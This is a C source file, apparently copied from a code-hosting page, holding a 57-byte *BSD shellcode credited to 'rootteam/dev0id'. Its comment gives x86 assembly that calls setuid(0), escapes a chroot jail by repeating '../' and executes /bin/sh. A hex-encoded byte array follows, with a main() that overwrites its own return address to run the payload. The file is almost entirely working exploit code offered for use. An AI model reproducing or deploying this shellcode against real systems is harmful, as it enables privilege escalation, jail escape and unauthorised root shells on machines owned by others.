65 lines
No EOL
973 B
C
65 lines
No EOL
973 B
C
/* The setuid(0)+chroot()+execve shellcode
|
|
|
|
it will:
|
|
setuid(0)
|
|
put '../' 10 times in chroot()
|
|
execute /bin/sh
|
|
Size 57 bytes
|
|
OS *BSD
|
|
/rootteam/dev0id (rootteam.void.ru)
|
|
dev0id@uncompiled.com
|
|
|
|
|
|
BITS 32
|
|
|
|
xor ecx,ecx
|
|
xor eax,eax
|
|
push eax
|
|
mov al,0x17
|
|
push eax
|
|
int 0x80
|
|
push ecx
|
|
mov cl,0x1e
|
|
main_push:
|
|
push byte 0x2e
|
|
loop main_push
|
|
mov cl,0x1e
|
|
main_loop:
|
|
dec cl
|
|
inc byte [esp+ecx]
|
|
dec cl
|
|
loop main_loop
|
|
push esp
|
|
mov al,0x3d
|
|
push eax
|
|
int 0x80
|
|
|
|
xor eax,eax
|
|
push eax
|
|
push long 0x68732f6e
|
|
push long 0x69622f2f
|
|
mov ebx,esp
|
|
push eax
|
|
push esp
|
|
push ebx
|
|
mov al,0x3b
|
|
push eax
|
|
int 0x80
|
|
*/
|
|
|
|
|
|
|
|
char shellcode[] =
|
|
"\x31\xc9\x31\xc0\x50\xb0\x17\x50\xcd\x80\x51\xb1\x1e\x6a\x2e"
|
|
"\xe2\xfc\xb1\x1e\xfe\xc9\xfe\x04\x0c\xfe\xc9\xe2\xf7\x54\xb0"
|
|
"\x3d\x50\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
|
|
"\x62\x69\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";
|
|
|
|
|
|
int
|
|
main(void)
|
|
{
|
|
int *ret;
|
|
ret = (int*)&ret + 2;
|
|
(*ret) = shellcode;
|
|
} |